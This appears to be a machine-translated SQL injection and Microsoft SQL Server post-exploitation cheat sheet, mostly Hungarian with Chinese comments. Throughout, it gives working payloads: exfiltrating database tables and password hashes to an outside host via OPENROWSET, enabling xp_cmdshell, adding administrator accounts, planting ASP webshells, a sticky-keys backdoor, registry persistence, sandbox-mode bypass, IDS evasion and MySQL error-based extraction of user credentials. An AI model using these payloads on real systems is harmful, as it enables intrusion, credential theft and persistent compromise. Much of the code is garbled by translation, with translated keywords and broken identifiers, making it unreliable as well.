* _blank>_sysdatabases-től) Válassz * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select
* _blank>_sysobjects-től) válassz * from user_blank>_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select
* _blank>_syscolumns-től) Válassz * a user_blank>_database.dbo.syscolumns közül Replikálj _blank> adatbázist: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select
* az 1. táblázatból) válassz * adatbázisból.. 1. táblázat insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,select
* a 2. táblázatból) válassz * adatbázisból.. 2. táblázat
A jelszó hash-je, amely a hash table (HASH) bejelentkezést _blank> jelszót másolja, a sysxlogin-ban tárolódik. Íme, hogyan: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; , válassz * _blank>_sysxlogins közül)
Válassz * from database.dbo.sysxlogins Ha megvan a hash, brute force tudod.
A könyvtár átjárásához: Először hozzon létre egy ideiglenes táblát: temp ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; Insert temp exec master.dbo.xp_blank>_availablemedia; – Szerezd meg az összes aktuális meghajtót ; insert be a temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Szerezzen alkönyvtárak listáját ; beillesztés a temp(id,num1) végrehajtó master.dbo.xp_blank>_dirtree c:\; – Szerezze meg a könyvtárfa szerkezetét minden alkönyvtárhoz,
Olvassd be a centimétereket az ideiglenes táblázatba ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – Fájl megtekintése
Tartalom ; insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; beillesztés a temp(id,num1) végrehajtó master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Alkalmazandó Hatóság
PUBLIC) Írj az asztalra: 1-es nyilatkozat: és 1=(Select IS_blank>_SRVROLEMEMBER(rendszergazdálkodó)); – 2-es állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); – 3-as állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); – 4-es állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – 5-ös állítás: és 1=(Válassza ki IS_blank>_SRVROLEMEMBER(securityadmin)); – 6. állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin)); – 7-es állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); – 8. állítás: és 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); – 9-es állítás: és 1=(Select IS_blank>_MEMBER(db_blank>_owner)); –
Írd meg az utat a táblához: ; create table dirs(paths varchar(100), id int)– ; Insert DIRS executive master.dbo.xp_blank>_dirtree c:\– és 0<>(A DIRS-ből válassz ki a top 1 útvonalat)– és 0<>(válassz ki a top 1 útvonalat a dir-ből, ahol nem be(@Inetpub))– ; create table dirs1(paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web– és 0<>(Válassz ki a DIRS1-ből a Top 1 útvonalat)–
Biztonsági mentés _blank> adatbázisból egy webes könyvtárba: Letöltés ; @a rendszernevet jelent meg; halmaz @a=db_blank>_name(); Backup adatbázis @a disk=e:\web\down.bak; –
és 1=(Válassz top 1 nevet onnan(Válassz top 12 id,name from sysobjects, where xtype=char(85)) T
Megbízás: id desc) és 1=(Válassz Top 1-et col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) a sysobjects-ből) Lásd még
Kapcsolódó táblázatok. és 1=(USER_blank>_LOGIN közül válassz user_blank>_id) és 0=(válassz felhasználót USER_blank>_LOGIN helyről, ahol a felhasználó>1)
-=- wscrip{filter}t.shell példa -=- declène @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, fuss, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int deklaráld @line Varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f ki, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) Kezdeni Nyomtatott @line exec @ret = sp_blank>_oamethod @f, readline, @line out vége
declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, sebesség, 150 exec sp_blank>_oamethod @o, beszélj, NULL, minden folytatás szervered a 528-as céghez tartozik Várj késésre 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, beszélj, NULL, minden folytatás szervered a miénk, 528 vár késleltetésre
00:00:05–
xp_blank>_dirtree az érintett NYILVÁNOS engedélyt exec master.dbo.xp_blank>_dirtree c: A visszaadott információnak két mezője van: alkönyvtár, mélység. Alkönyvtár mezők
Karaktertípus, a mélységi mező a formáló mező. create table dirs(paths varchar(100), id int) Táblázatépítés, az itt létrehozott tábla kapcsolódik a fent említett xp_blank>_dirtree-hez, egyenlő mezőkkel és azonos típussal. DIRS exec beadása master.dbo.xp_blank>_dirtree c: Amíg egy táblát építünk, és a tárolási folyamat által visszaadott mezőket egyenlő módon definiáljuk
Végrehajtsátok! A táblázatírás hatásának eléréséhez lépésről lépésre megszerezzük az információt, amit szeretnénk! Ez a hibabehüccs főként a Mysql adattípus túlcsordulásán alapul a mysql > SELECT 18446744073709551610 * 2 ; HIBA 1690 (22003): BIGINT JELLEMEZTŐ érték nem a tartományon kívül van a '(18446744073709551610 * 2)' tartományban
mysql > SELECT - 1 * 9223372036854775808 ; HIBA 1690 (22003): BIGINT JELLEMEZTŐ érték nem a hatótávolságon kívül van '(- (1) *
9223372036854775808)' Adatbázis verzió lekérdezése: mysql> SELECT * 2 (if ((SELECT * from (SELECT (verzió ()) ) s), 18446744073709551610,
18446744073709551610)); HIBA 1690 (22003): A BIGINT UNSIGNÁLT érték nem a tartományon kívül van '(2 * if (( Select '5.5 'from from
Dual), 18446744073709551610.18446744073709551610))' Szerezd meg a mező nevét: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from from
test.shop limit 1), 18446744073709551610, 18446744073709551610);
HIBA 1690 (22003): A BIGINT UNSIGNÁLT ÉRTÉK nem a hatótávolságon kívül van '(2 * if(((select
'article','dealer','price' (select 'teszt'.'shop'.'article' AS
'article','teszt'.'shop'.'dealer' AS 'dealer','teszt'.'shop'.'price' AS 'price' from
'teszt'.'shop') határérték 1) > (select
'teszt'.'shop'.'article','teszt'.'shop'.'dealer','teszt'.'shop'.'price' from 'teszt'.'shop' limit
1)),18446744073709551610,18446744073709551610))' Szerezd meg a mezőértéket:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
HIBA 1690 (22003): A BIGINT UNSIGNÁLT ÉRTÉK nem a hatótávolságon kívül van '(2 * if(((select
'helyi gazda','gyökér','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','
Y','Y','Y','Y','Y','Y','Y','Y','Y','','0','' KETTŐS LIMIT 1-BŐL)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Fontos megjegyezni, hogy ez a módszer nem működik a Mysql régebbi verzióival, és ismerned kell a hibaüzenet hosszkorlátját, mert ez határozza meg
Annyi időt kaphatsz, amennyit csak akarsz: Mysys / my_error.c
/* Hibaüzenet maximális hossza. Összhangban kell maradni MYSQL_ERRMSG_SIZE-vel. */ #define ERRMSGSIZE (512)
Ha az objektum MariaDB (a MySQL egyik forkja), akkor ilyen hibaüzenetet láthatsz, amikor a fenti módszert próbálod:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) HIBA 1690 (22003): A BIGINT UNSIGNÁLT érték a tartományon kívül van '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Megoldásként ezt a problémát így lehet megoldani:
MySQL> SELECT (I NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a; HIBA 1690 (22003): BIGINT érték kívül esik a tartományban '(('5.5-MariaDB' nem null) - -
(9223372036854775808))' Most nézzük meg, hogy rövidebbé tudjuk-e tenni a vektorunkat
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (i NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| műsor|| jelszó|| file_priv from(select*from mysql.user LIMIT)
1)egy határ 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Néhány egyéb deformáció
SELECT (i NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a select 1E308*if((select user|| műsor|| jelszó|| file_priv from(select*from mysql.user LIMIT)
1) határ 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); MySQL> Select (select * from mysql.user)=1; MySQL> Select (select * from mysql.user)in(1);
HIBA 1241 (21000): Az operándnak 42 oszlop(t) kell tartalmaznia select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); select if((select user|| műsor|| jelszó|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i NEM NULL) - -9223372036854775808 FROM (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; HIBA 1690 (22003): A BIGINT UNSIGNÁLT ÉRTÉK tartományon kívül van a tartományban '((not('root@localhost'))) - ~
(0))' 3. Bírálj meg az adatbázis-rendszert ; és (select count(*) a sysobjects-ből)>0 mssql ; és (select count(*) az msysobjects-ből)>0 hozzáférés 4. Az injekciós paraméter egy karakter 'and [lekérdezési kritériumok] és ''=' 5. A keresés során nincsenek szűrt paraméterek 'and [lekérdezési kritériumok] és '%25'=' 6. Találd ki az adatbázist ; és (válassza ki a Count(*) a [adatbázis név])>0 7. Találd ki a mezőt ; és (válaszd ki a Count(mező neve) adatbázis nevéből)>0 8. Találd ki a rekord hosszát a mezőn ; és (válaszd ki a top 1 lent (mező neve) az adatbázis nevéből)>0 9. (1) Tippeld ki a mező ASCII értékét (hozzáférés) ; és (az adatbázis nevéből válassz top 1 ASC(mid(field name, 1,1)))>0 (2) Tippeld ki a mező ASCII értékét (mssql) ; és (az adatbázis nevéből válassza ki a top 1 unicode(alstring(mező neve, 1,1)))>0 10. Tesztengedély szerkezete (mssql) ; és 1=(select IS_SRVROLEMEMBER('rendszergazdálkodó')); -- ; és 1=(select IS_SRVROLEMEMBER('serveradmin')); -- ; és 1=(select IS_SRVROLEMEMBER('setupadmin')); -- ; és 1=(select IS_SRVROLEMEMBER('securityadmin')); -- ; és 1=(select IS_SRVROLEMEMBER('diskadmin')); -- ; és 1=(select IS_SRVROLEMEMBER('bulkadmin')); -- ; és 1=(select IS_MEMBER('db_owner')); -- 11. Fiók hozzáadása az mssql-hez és a rendszerhez ; vezetői master.dbo.sp_addlogin felhasználónév; -- ; exec master.dbo.sp_password null, felhasználónév, jelszó; -- ; vezető master.dbo.sp_addsrvrolemember rendszergazdozó felhasználónév; -- ; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'hálózati felhasználónév jelszó /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; -- 12. (1) Átnézni a katalógust ; create table dirs(paths varchar(100), id int) ; Kerüld be a DIRS executive master.dbo.xp_dirtree 'c:\' ; és (válassz a DIRS-ből a top 1 útvonalat)>0 ; és (válassz ki a top 1 útvonalat a dirs-ből, ahol az utak nincsenek ben('az előző lépésből kapott utak')))>) (2) Átnézni a katalógust ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert temp exec master.dbo.xp_availablemedia; -- Szerezd meg az összes aktuális meghajtót ; bekerüljön a temp(id) végrehajtó master.dbo.xp_subdirs 'c:\'; -- Szerezz egy listát az alkönyvtárakról ; bekerülni a temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Szerezze meg a könyvtárfa szerkezetét minden alkönyvtárhoz ; beillesztés a temp(id) végrehajtó master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Tekintse meg a fájl tartalmát 13. Tárolt eljárások mssql-ben xp_regenumvalues Registry root kulcs, gyermekkulcs ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' és még sok más
Rekordkészlet módszer minden kulcsérték visszaadására xp_regread Gyökérkulcs, gyermekkulcs, kulcs-érték név ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'CommonFilesDir' adja vissza a formulációs kulcs értékét xp_regwrite Gyökérkulcs, gyermekkulcs, értéknév, értéktípus, érték Kétféle értéktípus létezik REG_SZ REG_DWORD karaktertípusok és egész számok ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
A \CurrentVersion','TestvalueName','reg_sz','hello' betűk a regiszterhez vannak írva xp_regdeletevalue Gyökérkulcs, alkulcs, értéknév exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' egy érték eltávolításához xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete key,
Minden értéket tartalmaz az adott kulcs alá 14. az mssql biztonsági mentés webshellet hoz létre Használati modell create table cmd(str image); insert in in cmd(str) értékek ('<% Dim oscrip{filter}t %>'); backup database model a disk='c:\l.asp'; 15. MSSQL beépített funkciók ; és (@@version)>0 opciót kaphatsz meg a Windows verziószámához ; és user_name()='dbo' annak megállapítására, hogy a jelenlegi rendszer csatlakoztatott felhasználója SA-e ; és (select user_name()))>0 Felrobbantották a jelenlegi rendszer csatlakoztatott felhasználóit ; és (válaszd ki a db_name())>0-t, hogy megkapd a jelenleg csatlakoztatott adatbázist 16. Tömör webshell Használati modell create table cmd(str image); Insert into CMD(str) értékek ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); backup database model to disk='g:\wwwtest\l.asp'; Kéréskor használj valamit, mint ezt:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Szerezd meg az összes adatbázis nevet, beleértve a rendszeradatbázisokat is. –VÁLASSZ nevet a master.dbo.sysdatabases adatbázisokból
– Minden nem rendszerbeli adatbázis nevet szerezz be –select [name] a master.dbo.sysdatabases-ből, ahol DBId>6 Sorban [név] szerint
– Szerezd meg az összes információt, beleértve az adatbázis-fájl címét is –select * from master.dbo.sysdatabases , ahol DBId>6 Sorrend szerint
[Név]
Ez a lekérdezés minden felhasználói táblát visszaad
Válassz * a sysobjects-ből, ahol xtype='u'
Kérdezze le az összes adattábla információt a rendszerben
Válassz * a sysobjects-ből
Nézd meg a gép nevét Válassz * a sys.server-ből
Oszlop tartalomjegyzéke Executive master.dbo.xp_subdirs 'c:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner A jogosultságok érvényesíthetők
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programkód, webshellbe írva
az exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Executive sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Végrehajtsd a mestert.. xp_enumgroups
Áthaladó rendszer felhasználói
Végrehajtsd a mestert.. xp_getnetname Szerezd meg a jelenlegi gépnevet
--Sorold fel a fix meghajtókat a szerveren, valamint az egyes meghajtók rendelkezésre álló helyét dbo nyilvános
végrehajtás
xp_ntsec_enumdomains
-- Hozz létre fiókot, hogy bejelentkezz az MSSQL-be vezető master.dbo.sp_addlogin név, pass; --
-- Listázd fel a szerver domain nevét xp_ntsec_enumdomains // Gépnév //dbo public
-- Szolgáltatás megállítása vagy indítása xp_servicecontrol 'stop', 'schedule' //schedule a szolgáltatás neve //dbo
--Használj PID-t
Állítsd meg a végrehajtó programot xp_terminate_process 123 //123 a PID //dbo
-- Csak a könyvtárban található alkönyvtárak találhatók dbo.xp_subdirs 'C:' //dbo
SQL Server A xp_cmdshell 2005-ös megnyitásának módja EXEC sp_configure 'fejlett beállítások megjelenítése', 1; ÚJRAKONFIGURÁLÁS; VEZETŐSÉG
sp_configure 'xp_cmdshell', 1; ÚJRAKONFIGURÁLÁS;
SQL2005 Nyisd meg az 'OPENROWSET'-et Támogatott módszerek: exec sp_configure 'fejlett beállítások megjelenítése', 1; ÚJRAKONFIGURÁLÁS; vezető sp_configure 'Ad Hoc'
Terjesztett lekérdezések',1; ÚJRAKONFIGURÁLÁS;
SQL2005 a 'sp_oacreate' támogatás engedélyezéséhez: exec sp_configure 'fejlett beállítások megjelenítése', 1; ÚJRAKONFIGURÁLÁS; vezetője
sp_configure 'Ole automatizálási eljárások',1; ÚJRAKONFIGURÁLÁS
Hogyan engedélyezzük xp_cmdshell SQL Server 2008-ban
-- Hogy a fejlett opciók módosíthassák. VEZETŐSÉG
sp_configure 'fejlett beállítások megjelenítése', 1 MENJ -- A jelenleg konfigurált érték frissítésére
Fejlett opciók. ÚJRAKONFIGURÁLÁS MENJ -- A funkció engedélyezéséhez. VÉGREHAJTÓ sp_configure 'xp_cmdshell', 1 MENJ -- Hogy
Frissítsd a jelenleg konfigurált értéket ehhez a funkcióhoz. ÚJRAKONFIGURÁLÁS MENJ
exec xp_cmdshell 'ipconfig'
Ma meg akartam változtatni az adatbázis szerver SA bejelentkezési jelszavát, de hirtelen elfelejtettem, így más fiókokkal együtt meg kellett nyitnom a lekérdezési analizátort a SA jelszó megváltoztatásához
Nagyon egyszerű:
Végrehajtás: sp_password Null, 'teracypwd,'sa' Állítsuk be a SA jelszót "teracypwd"-re
Sikeres kivégzés után
Van "Parancs(ok) sikeresen teljesítve." OKÉ!
A adatbázis engedélyben különítsük el az MSSQL adatbázis-szerver IP-címének megszerzésének módszerét
1. Helyi NC hallgatja az NC-t - VVLP 80
2.; behelyezkedés
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Cím=az IP-címed, 80; ', 'válassz * from
dest_table') válassz * a src_table közül; --
Válassz * az openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')
Adatbázis behozatal és exportálás
/*不同服务器数据库之间的数据操作*/
--Hozzon létre link szervert Végrehajtó sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Távoli szerver név vagy IP-cím' az sp_addlinkedsrvlogin 'ITSV', 'hamis)
',null, 'felhasználónév', 'jelszó'
--lekérdezés példa válassz * a ITSV.database name.dbo.table name
--import példa Select *
az ITSV.databasename.dbo.tablename táblába
--Töröld a linkelt szervert, ha a jövőben már nem lesz használatban az 'ITSV' sp_dropserver vezetője,
'droploginok'
-- Csatlakozás távoli/LAN adatokhoz (openrowset/openquery/opendatasource) --1、openrowset
--lekérdezés példa Select *
from openrowset( 'SQLOLEDB', 'SQL szerver név'; 'Felhasználónév'; 'password', database name.dbo.table name)
-- Helyi tábla generálása válassz * táblába az openrowset( 'SQLOLEDB', 'SQL szerver név'; 'Felhasználónév'; 'Jelszó', szám
Az adatbázis name.dbo. tábla név szerint)
-- Importáljuk a helyi táblát a távoli táblába insert openrowset( 'SQLOLEDB', 'SQL szerver name'; 'Felhasználónév'; 'Jelszók', adatbázisok
name.dbo.table name) Válassz *helyi táblából
-- Helyi táblázatok frissítése B frissítés b halmaz: A oszlop = a from openrowset( 'SQLOLEDB', 'SQL szerver név'; 'Felhasználónév'; '
jelszó ', adatbázis név .dbo.table name) belső csatlakozási helyi B táblaként a.column1=b.column1
--openquery A használathoz kapcsolat létrehozása szükséges
--Először hozz létre egy kapcsolatot, hogy létrehozz egy link szervert az ITSV sp_addlinkedserver vezetője, ' ',
'SQLOLEDB', 'távoli szerver név vagy IP cím' --Érdeklődjön Select * FROM openquery(ITSV, 'SELECT * FROM adat
library.dbo.table name ') -- Importáljuk a helyi táblát a távoli táblába insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Válassz * helyi helyiből
Táblázat --helyi tábla frissítése B frissítés b halmaz: oszlop B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
mint belső csatlakozás helyi táblázat b a-n: oszlop A=b. oszlop A
--3、opendatasource/openrowset SELECT * FROM
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Felhasználói azonosító=Bejelentkezési név; Jelszó=Jelszó '
).test.dbo.roy_ta -- Importáljuk a helyi táblát a távoli táblába
Törlés és xp_cmdshell visszaállítása
Módok a helyreállításra xp_cmdshell Töröld a kiterjesztett tárolt eljárást xp_cmdshell
Nyilatkozat az exec sp_dropextendedproc 'xp_cmdshell'
A cmdshell SQL utasításának visszaállítása exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
vezetője
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Selectcount (*)
master.dbo.sysobjects , ahol xtype='x' és A visszaadás eredménye 1, és rendben van
Ellenkező esetben fel kell töltened c:\inetput\web
\xplog70.dll később exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Ha a következő módon törlöd Drop eljárás sp_addextendedproc Drop eljárás sp_oacreate vezetője
sp_dropextendedproc 'xp_cmdshell'
A következő állítással visszaállíthatod dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Így közvetlenül visszaállítható, függetlenül attól, hogy létezik-e sp_addextendedproc vagy sem
1、 Használd xp_cmdshell: exec master.dbo.xp_cmdshell "net user admin admin /add" vezetője
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
xp_cmdshell esetben sp_oacreate kövesd sp_oamethod: deklaráld @object int vezetője
sp_oacreate 'wscrip{filter}t.Shell', @object ki Executive sp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Administrators admin /add'
Megjegyzés: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Használj sp_oacreate és FSO declène @o int Executive sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; deklaráld @oo int vezetője
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Executive sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Használd xp_regwrite (db_owner, újraindítás szükséges): Vezető master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Vezető master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Használd sp_add_job: vezetője
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' Használd az MSDB exec sp_delete_job
null,'x' Végrehajtó sp_add_job 'X' Executive sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' Vezető sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Sok SA sikeres volt sok gépen, amely közvetlenül a sandbox módot használta, de én sosem gyakoroltam, és nem tudom, mekkora a sikerességi arány. Amikor a hosszabbítást eltávolítjuk, először
Állítsd vissza az olvasási és írási tárhelyet a regiszterbe. dbcc addextendedproc ('xp_regread','xpstar.dll') dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Javítottam a homokbox védett módját Végrehajtó mester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Nézd meg, hogy a 'SandBoxMode' értéke 0-ra változott-e.
az exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Végül hívjuk a sandbox módot Válassz * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')
Ha a homokdoboz védelmi mód nem "kikapcsolva", akkor hiba jelentkezik: Szerver: Msg 7357, 16. szint, 2-es állapot, 1. sor
Nem sikerült kezelni az objektumot 'select shell("cmd.exe /c net user user passwd /add")'. Az OLE DB programokat kínál
A 'microsoft.jet.oledb.4.0' előszó azt jelzi, hogy az objektumban nincsenek oszlopok.
OLE DB hibakövetés [Nem interfész hiba: OLE DB szolgáltató nem képes feldolgozni az objektumot, mivel az objektum
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Ha a .mdb nem létezik, vagy a bemeneti útvonal hibás Szerver: Msg 7399, 16. szint, 1. állam, 1. sor
OLE DB provider 'microsoft.jet.oledb.4.0' hiba. [OLE/DB szolgáltató visszaküldött üzenetet:
A 'C:\WINDOWS\system32\ias\dnary1.mdb' fájl nem található. ]
OLE DB hibakövetés [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize return
0x80004005: ]。
3. Ha több hely van a bemeneti folyamat során, hibát is jelentenek. Különösen figyelj erre, sokan közvetlenül keresnek cikkeket az interneten
Ragasztsd be és hajtsd végre. Szerver: Msg 7357, 16. szint, 2-es állapot, 1. sor Nem sikeresen dolgozta fel az objektumot 'select
shell("cmd.exe /c net user passwd /add")'。 Az OLE DB szolgáltató, a 'microsoft.jet.oledb.4.0' azt állítja, hogy az objektumban nincsenek oszlopok.
OLE DB hibakövetés [Nem interfész hiba: Az OLE DB szolgáltató nem tudja feldolgozni az objektumot, mivel az objektum
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Ha az mdb és cmd.exe jogosultságok hibásak, akkor a probléma is előfordul. Ha az MDB jogosultságok hibásak, Szerver: Kizárás
7320-as kamat, 16. szint, 2-es állam, 1-es vonal
Nem tudott válaszolni Az OLE DB szolgáltató 'Microsoft.Jet.OLEDB.4.0' hajtja végre a lekérdezést. [OLE/DB szolgáltató visszatért
message: 未知] OLE DB hibakövetés [OLE/DB provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Ha a hálózati engedély hibás, nincs prompt.
Az utolsó módja a jogosultság emelésének az, hogy feltöltöd a rendszer ias.mdb és cmd.exe jelenlegi webkönyvtárba, net.exe három fájlba.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe user passwd /add")') Sikeresen hozzáadni egy számítógépes felhasználót.
A cmdshell szétosztása megkerüli az IDS-t Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' deklarálni
@a sysname set @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'
Szerkesztés: Registry hijacking shift Végrehajtó mester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Lekérdezés a linkserverhez kiválaszt
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
